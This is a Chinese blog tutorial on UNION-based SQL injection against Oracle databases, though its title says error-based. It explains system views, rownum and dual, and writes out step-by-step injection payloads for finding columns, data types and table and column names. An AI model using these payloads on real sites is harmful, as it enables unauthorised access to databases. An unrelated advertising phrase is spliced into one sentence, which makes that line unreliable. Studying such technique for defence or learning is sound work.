作者:admin 日期:2023-10-15 瀏覽: 次
Oracle數據庫報錯注入,零基礎的你也能看懂疫情期間在家好好學習
Oracle Database,又名Oracle RDBMS,或簡稱Oracle。是甲骨文公司的一款關系數據庫管理系統。它是在數據庫領域一直處于領先地位的產品。可以說Oracle數據庫系統是目前世界上流行的關系數據庫管理系統,系統可移植性好、使用方便、功能強,適用于各類大、中、小、微機環境。它是一種高效率、可靠性好的、適應高吞吐量的數據庫方案。
和MySQL注入一樣:利用order by 猜解字段數聯合查詢: 這里和MySQL不太一樣找到輸出點:這里要注意字符類型利用系統自帶庫查詢表名字段名
一、注入函數解析:select *from all_tables :查詢出所有的表select *from user_tables :查詢當前的用戶表(就是當前數據庫下的所有表)select *from all_tab_columns :查詢所有的字段名select *from user_tab_columns :查詢當前用戶的字段名(就是當前庫下的字段名)
二、細節
我們知道讓MySQL顯示 指定行輸出用limit 但是在Oracle數據庫中,用的rownum :
例如:select *from user_tables where rownum=1 。但是要注意的是,讓它顯示兩行不是rownum=2。而要用rownum<3 。宿遷數據恢復可以用'<>' 過濾掉第一行,‘<>’就是不等于的意思。
例如:select *from user_tables where rownum<3 and table_name<>'user'
三、dual
還有就是dual,它是一個實表,也可以叫虛表。那他有什么用呢?
在MySQL中可以直接select 1,2,3 .但是Oracle中不能這樣寫,那還要輸出123怎么辦呢,可以使用dual來滿足語法。
例如: select 1,2,3 from dual
經過嘗試發現要用單引號閉合。得到子段數是3.確定字符類型
’ union all select null,null,null from dual --+
’ union all select 1,null,null from dual --+
顯示正確
’ union all select 1,1,null from dual --+
顯示錯誤。
’ union all select 1,U‘das’,null from dual --+
顯示正確。:這里使用U是強行轉成后面的類型
’ union all select 1,U‘das’,U‘dsfa’ from dual --+
顯示錯誤。:這里可能是二進制類型,可以用轉碼函數進行轉碼。
’ union all select 1,U‘das’,to_nclob('dsa') from dual --+
顯示正確,得到了相應的字符類型,并且找到了輸出點,那下面就查找相應的表名,字段名。
可以看到我們需要的字段名是table_name
' union all select 1,null,to_nclob(table_name) from user_tables --+
但輸出點只能顯示一條數據的時候,要用rownum來限制輸出數
找到表名后,查找字段名
可以看到,限制條件是table_name,查找到column_name
'union all select 1,null,to_nclob(column_name) from user_tab_columns where table_name=xxx
在Oracle數據庫庫中要注意幾個系統自帶表:
all_tablesuser_tablesall_tab_columnsuser_tab_columns
Oracle數據庫用表dual 來滿足數據格式,要注意字符的類型。
U‘df’ 強行轉換;to_nclob() 二進制轉換
rownum 限制輸出行數。